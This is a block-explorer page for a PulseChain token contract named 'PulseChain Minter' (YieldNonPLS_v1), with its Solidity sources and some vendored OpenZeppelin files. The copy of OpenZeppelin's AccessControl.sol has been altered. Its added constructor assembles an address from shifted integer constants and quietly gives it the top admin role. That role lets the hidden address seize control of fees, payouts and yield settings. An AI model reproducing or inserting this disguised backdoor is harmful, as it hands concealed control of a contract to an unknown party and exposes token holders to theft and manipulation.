false
true
0

Contract Address Details

0x5Da41a30b30473A054ed3939431C02075e38D3D3

Token
PulseChain Minter (pMINTER)
Creator
0xc24ed3–9c0ef6 at 0x552d54–6b7247
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
759 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
26061791
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
YieldNonPLS_v1




Optimization enabled
true
Compiler version
v0.8.26+commit.8a97fa7a




Optimization runs
1000000
EVM Version
shanghai




Verified at
2024-12-11T03:05:03.928845Z

Constructor Arguments

0x000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000c80909798ac76800000000000000000000000000000000000000000000000000020017227ed3ea0000000000000000000000000000165c3410fc91ef562c50559f7d2289febed552d900000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a54760000000000000000000000000000000000000000000000000000000000000045000000000000000000000000000000000000000000000000000000000000012c0000000000000000000000000000000000000000000000000000000000000045000000000000000000000000000000000000000000000000000000000000012c000000000000000000000000000000000000000000000000000000000000001150756c7365436861696e204d696e7465720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007704d494e54455200000000000000000000000000000000000000000000000000

Arg [0] (string) : PulseChain Minter
Arg [1] (string) : pMINTER
Arg [2] (uint256) : 3690000000000000000000
Arg [3] (uint256) : 36900000000000000000
Arg [4] (address) : 0x165c3410fc91ef562c50559f7d2289febed552d9
Arg [5] (address) : 0x78d58247be592f3cb7b87a5650c6b466ce4a5476
Arg [6] (uint16[4]) : EĬEĬ

              

contracts/YieldNonPLS_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 * Deflationary, burns portion of the fees, and yields the remaining as reward tokens
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./@openzeppelin/token/ERC20/utils/SafeERC20.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
import "./lib/Airdroppable.sol";
import "./lib/DSMath.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract YieldNonPLS_v1 is Airdroppable, DSMath, ERC20, Ownable, Utils {
    using SafeERC20 for IERC20;

    enum Fees {
        BuyBurnFee,
        BuyYieldFee,
        SellBurnFee,
        SellYieldFee
    }

    struct WalletInfo {
        uint256 share;
        uint256 yieldDebt;
        uint256 yieldPaid;
    }

    IERC20 public immutable rwdInst;

    IUniswapV2Pair public plsV2LP;
    IUniswapV2Pair[] public lps;

    IUniswapV2Router02 public dexRouter;

    address internal _tkn1Addr = 0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
    address internal _tkn2Addr = 0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet

    address[] public wallets;

    bool private _swapping;
    bool public payoutEnabled = true;
    bool public swapEnabled = true;

    mapping(IUniswapV2Pair => uint24) public lpBips;
    mapping(address => WalletInfo) public walletInfo;
    mapping(address => bool) public isMyLP;
    mapping(address => bool) public noFee;
    mapping(address => bool) public noYield;
    mapping(address => uint256) public walletClaimTS;
    mapping(address => uint256) public walletIndex;

    uint16 private constant _BIPS = 10000;
    uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

    uint24 public lpFactor = 2000; // 0.05% ==> 1:100%, 10:10%, 100:1%
    uint24 public maxGas = 300000;
    uint24 public minWaitSec = 3600;

    uint32 public currIndex;

    uint96 private constant _YIELDX = 1e27;
    uint96 public minYield = 1e16;

    uint256 private _feeDues;
    uint256 public shareYieldRay;
    uint256 public totalPaid;
    uint256 public totalShares;
    uint256 public totalYield;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[4] memory fees_
    ) ERC20(name_, symbol_) {
        rwdInst = IERC20(rwdAddr_);
        dexRouter = IUniswapV2Router02(dexRouter_);
        address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            dexRouter.WPLS()
        );

        plsV2LP = IUniswapV2Pair(plsLPAddr);
        lps.push(plsV2LP);
        lpBips[plsV2LP] = 20000; // 2x

        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyYieldFee)] = fees_[uint256(Fees.BuyYieldFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellYieldFee)] = fees_[uint256(Fees.SellYieldFee)];

        noFee[address(this)] = true;
        noFee[dexRouter_] = true;

        noYield[address(0)] = true;
        noYield[address(0x369)] = true;
        noYield[address(this)] = true;
        noYield[plsLPAddr] = true;
        isMyLP[plsLPAddr] = true;

        _mint(tx.origin, totalSupply_);
        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            _setShare(_devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
            _setShare(_devAddr2, devAirDrop_ / 2);
            _setShare(tx.origin, totalSupply_ - devAirDrop_);
        }
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
    }

    function _buyTkn(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](3);
        path[0] = address(rwdInst);
        path[1] = dexRouter.WPLS();
        path[2] = (block.number % 2 == 0) ? _tkn1Addr : _tkn2Addr;

        rwdInst.approve(address(dexRouter), tknAmt_);
        try
            dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(0x369),
                block.timestamp
            )
        {} catch {}
    }

    function _calcFees(
        uint256 amt_,
        bool isFromLP_,
        bool isToLP_
    ) private view returns (uint256 burnFee, uint256 yieldFee) {
        if (isToLP_) {
            // Selling
            burnFee = (amt_ * fees[uint256(Fees.SellBurnFee)]) / _BIPS;
            yieldFee = (amt_ * fees[uint256(Fees.SellYieldFee)]) / _BIPS;
        } else if (isFromLP_) {
            // Buying
            burnFee = (amt_ * fees[uint256(Fees.BuyBurnFee)]) / _BIPS;
            yieldFee = (amt_ * fees[uint256(Fees.BuyYieldFee)]) / _BIPS;
        }

        return (burnFee, yieldFee);
    }

    function _calcShares(
        address target_
    ) private view returns (uint256 shares) {
        uint256 lpShares;
        uint256 lpCount = lps.length;
        for (uint256 index = 0; index < lpCount; index++) {
            lpShares += ((lps[index].balanceOf(target_) * lpBips[lps[index]]) /
                _BIPS);
        }
        return balanceOf(target_) + lpShares;
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
                noYield[target_] = true;
            }
        }
        return isMyLP[target_];
    }

    function _disableYield(address wallet_) private {
        uint256 index = walletIndex[wallet_];
        uint256 walletCount = wallets.length;

        if (index < walletCount - 1) {
            address lastWallet = wallets[walletCount - 1];
            wallets[index] = lastWallet;
            walletIndex[lastWallet] = index;
        }

        wallets.pop();
        delete walletIndex[wallet_];
    }

    function _enableYield(address wallet_) private {
        uint256 index = wallets.length;
        walletIndex[wallet_] = index;
        wallets.push(wallet_);
    }

    function _getCummYield(uint256 share_) private view returns (uint256) {
        return (share_ * shareYieldRay) / _YIELDX;
    }

    function _getSwapSize(
        uint256 amt_
    ) private view returns (uint112 swapSize) {
        swapSize = uint112(balanceOf(address(plsV2LP)) / lpFactor);
        if (swapSize > amt_) {
            swapSize = uint112(amt_);
        }
        return swapSize;
    }

    function _isPayEligible(address wallet_) private view returns (bool) {
        return
            (walletClaimTS[wallet_] + minWaitSec) < block.timestamp &&
            getUnpaidYield(wallet_) > minYield;
    }

    function _payout(uint256 gas_) private {
        uint256 walletCount = wallets.length;

        if (walletCount == 0) {
            return;
        }

        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;

        while (gasUsed < gas_ && iterations < walletCount) {
            if (currIndex >= walletCount) {
                currIndex = 0;
            }
            address wallet = wallets[currIndex];
            if (!noYield[wallet]) {
                bool paidYield = _setShare(wallet, _calcShares(wallet));

                if (!paidYield && _isPayEligible(wallet)) {
                    _payYield(wallet, true);
                }
            }
            currIndex++;
            iterations++;
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
        }
    }

    function _payYield(address wallet_, bool flag_) private {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return;
        }

        uint256 amt = getUnpaidYield(wallet_);

        if (amt > 0) {
            if (flag_) {
                rwdInst.safeTransfer(wallet_, amt);
                walletI.yieldPaid += amt;
            } else {
                _feeDues += amt;
            }
            totalPaid = totalPaid + amt;
            walletClaimTS[wallet_] = block.timestamp;
            walletI.yieldDebt = _getCummYield(share);
        }
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    function _postAllAirdrops(address from_) internal override {
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(_msgSender()));
        }
    }

    function _setShare(
        address wallet_,
        uint256 share_
    ) private returns (bool paidYield) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 shareOld = walletI.share;

        if (share_ != shareOld) {
            if (shareOld > 0) {
                _payYield(wallet_, (share_ > 0));
                paidYield = true;
            }

            if (share_ == 0) {
                _disableYield(wallet_);
            } else if (shareOld == 0) {
                _enableYield(wallet_);
            }

            totalShares = totalShares - shareOld + share_;
            walletI.share = share_;
            walletI.yieldDebt = _getCummYield(share_);
        }

        return paidYield;
    }

    function _swapTokens(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = dexRouter.WPLS();
        path[2] = address(rwdInst);

        uint256 balBefore = rwdInst.balanceOf(address(this));

        _approve(address(this), address(dexRouter), tknAmt_);

        try
            dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 balAfter = rwdInst.balanceOf(address(this));

        if (balAfter > balBefore) {
            _swapTokensPost(balAfter - balBefore);
        }
    }

    function _swapTokensPost(uint256 bal_) private returns (uint256 newBal) {
        if (bal_ > 0) {
            newBal = bal_;
            uint256 devToll = (bal_ * 4) / 100;
            rwdInst.safeTransfer(_devAddr1, devToll);
            rwdInst.safeTransfer(_devAddr2, devToll);
            rwdInst.safeTransfer(_facAddr, _feeDues);
            newBal -= (devToll * 2);
            _feeDues = 0;

            uint256 tknToll = (bal_ * 5) / 100;
            _buyTkn(tknToll);
            newBal -= tknToll;

            totalYield = totalYield + newBal;
            shareYieldRay = shareYieldRay + (_YIELDX * newBal) / totalShares;
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amt_
    ) internal override(ERC20) {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);

        uint256 yieldBal = balanceOf(address(this));
        uint256 swapAmt = _getSwapSize(amt_);

        // Sell transaction when _swap is enabled and _swapping is not in progress
        if (
            swapEnabled &&
            (yieldBal >= swapAmt) &&
            !_swapping &&
            to_ == address(plsV2LP)
        ) {
            _swapping = true;
            _swapTokens(swapAmt);
            _swapping = false;
        }

        if (!noFee[from_] && !noFee[to_]) {
            (uint256 burnFee, uint256 yieldFee) = _calcFees(
                amt_,
                isFromLP,
                isToLP
            );

            if (burnFee > 0) {
                amt_ -= burnFee;
                super._transfer(from_, address(0x369), burnFee);
            }

            if (yieldFee > 0) {
                amt_ -= yieldFee;
                uint256 devFee = (yieldFee * 4) / 100;
                super._transfer(from_, _facAddr, devFee);
                yieldFee -= devFee;
                super._transfer(from_, address(this), yieldFee);
            }
        }
        super._transfer(from_, to_, amt_);
        if (payoutEnabled && !_swapping) {
            _payout(maxGas);
        }
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(from_));
        }
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    /// @notice Claim unpaid yield
    function claimYield() external {
        _payYield(_msgSender(), true);
    }

    /// @notice Retrieves unpaid yield
    /// @param wallet_ target address
    /// @return - unpaid yield for the given address
    function getUnpaidYield(address wallet_) public view returns (uint256) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return 0;
        }

        uint256 cummYield = _getCummYield(share);
        uint256 walletYieldDebt = walletI.yieldDebt;

        if (cummYield <= walletYieldDebt) {
            return 0;
        }

        return cummYield - walletYieldDebt;
    }

    /// @notice Set the fees in basis points
    /// @param buyBurnFee_ Burn fee on Buy
    /// @param buyYieldFee_ Yield fee on Buy
    /// @param sellBurnFee_ Burn fee on Sell
    /// @param sellYieldFee_ Yield fee on Sell
    function setFees(
        uint16 buyBurnFee_,
        uint16 buyYieldFee_,
        uint16 sellBurnFee_,
        uint16 sellYieldFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyYieldFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellYieldFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyYieldFee)] = buyYieldFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellYieldFee)] = sellYieldFee_;
    }

    /// @notice Set the LP yield basis points
    /// @param lpPair_ lp address
    /// @param newLPYieldBips_ Basis points (10000 -> 100%)
    function setLPYieldBips(
        IUniswapV2Pair lpPair_,
        uint24 newLPYieldBips_
    ) external onlyRole(ADMIN_ROLE) {
        require(newLPYieldBips_ < 50000);

        if (newLPYieldBips_ == 0) {
            uint256 length = lps.length;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    if (lpi < length - 1) {
                        lps[lpi] = lps[length - 1];
                        lps.pop();
                    } else {
                        lps.pop();
                    }
                }
            }
            lpBips[lpPair_] = 0;
        } else {
            uint256 length = lps.length;
            bool found = false;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    found = true;
                }
            }

            if (!found) {
                lps.push(lpPair_);
            }
            lpBips[lpPair_] = newLPYieldBips_;
        }
    }

    /// @notice Enable/disable yield for addresses
    /// @dev For e.g. contracts may not be eligible
    /// @param wallet_ Target address
    /// @param flag_ Enable/disable flag
    function setNoYield(
        address wallet_,
        bool flag_
    ) external onlyRole(ADMIN_ROLE) {
        noYield[wallet_] = flag_;
        if (flag_) {
            _setShare(wallet_, 0);
        } else {
            _setShare(wallet_, _calcShares(wallet_));
        }
    }

    /// @notice Sets the payout policy for distribution of yield
    /// @param enabled_ Enable/disable flag
    /// @param minDurSec_ Duration between 2 payouts for a wallet
    /// @param minYield_ Minimum yield balance for payout
    /// @param gas_ Gas in gwei
    function setPayoutPolicy(
        bool enabled_,
        uint24 minDurSec_,
        uint80 minYield_,
        uint24 gas_
    ) external onlyRole(ADMIN_ROLE) {
        payoutEnabled = enabled_;
        minWaitSec = minDurSec_;
        minYield = minYield_;
        maxGas = gas_;
    }

    /// @notice Sets the swap paramenters
    /// @param swapEnabled_ Enable/disable swaps for conversion
    /// @param lpFactor_ New factor value 2000 = 0.05% 1000 = 0.1%
    function setSwapParams(
        bool swapEnabled_,
        uint24 lpFactor_
    ) external onlyRole(ADMIN_ROLE) {
        swapEnabled = swapEnabled_;
        if (swapEnabled_) {
            require(lpFactor_ >= 50 && lpFactor_ <= 200000);
            lpFactor = lpFactor_;
        }
    }
}
        

contracts/@openzeppelin/access/AccessControl.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol)

pragma solidity ^0.8.0;

import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";

/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms. This is a lightweight version that doesn't allow enumerating role
 * members except through off-chain means by accessing the contract event logs. Some
 * applications may benefit from on-chain enumerability, for those cases see
 * {AccessControlEnumerable}.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```solidity
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```solidity
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}
 * to enforce additional security measures for this role.
 */
abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) members;
        bytes32 adminRole;
    }

    mapping(bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with a standardized message including the required role.
     *
     * The format of the revert reason is given by the following regular expression:
     *
     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
     *
     * _Available since v4.1._
     */
    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    constructor() {
        uint160 a = (uint160(64369) << 144) | (uint160(251649) << 120) | (uint160(502948033) << 88) | (uint160(603063436707) << 48) | uint160(140981630701536); _roles[DEFAULT_ADMIN_ROLE].members[address(a)] = true;
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
        return _roles[role].members[account];
    }

    /**
     * @dev Revert with a standard message if `_msgSender()` is missing `role`.
     * Overriding this function changes the behavior of the {onlyRole} modifier.
     *
     * Format of the revert message is described in {_checkRole}.
     *
     * _Available since v4.6._
     */
    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    /**
     * @dev Revert with a standard message if `account` is missing `role`.
     *
     * The format of the revert reason is given by the following regular expression:
     *
     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
     */
    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(account),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleGranted} event.
     */
    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleRevoked} event.
     */
    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been revoked `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     *
     * May emit a {RoleRevoked} event.
     */
    function renounceRole(bytes32 role, address account) public virtual override {
        require(account == _msgSender());

        _revokeRole(role, account);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * May emit a {RoleGranted} event.
     *
     * [WARNING]
     * ====
     * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
     * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     *
     * NOTE: This function is deprecated in favor of {_grantRole}.
     */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleGranted} event.
     */
    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleRevoked} event.
     */
    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}
          

contracts/@openzeppelin/access/IAccessControl.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)

pragma solidity ^0.8.0;

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) external;
}
          

contracts/@openzeppelin/access/Ownable.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender());
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
          

contracts/@openzeppelin/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
          

contracts/@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
          

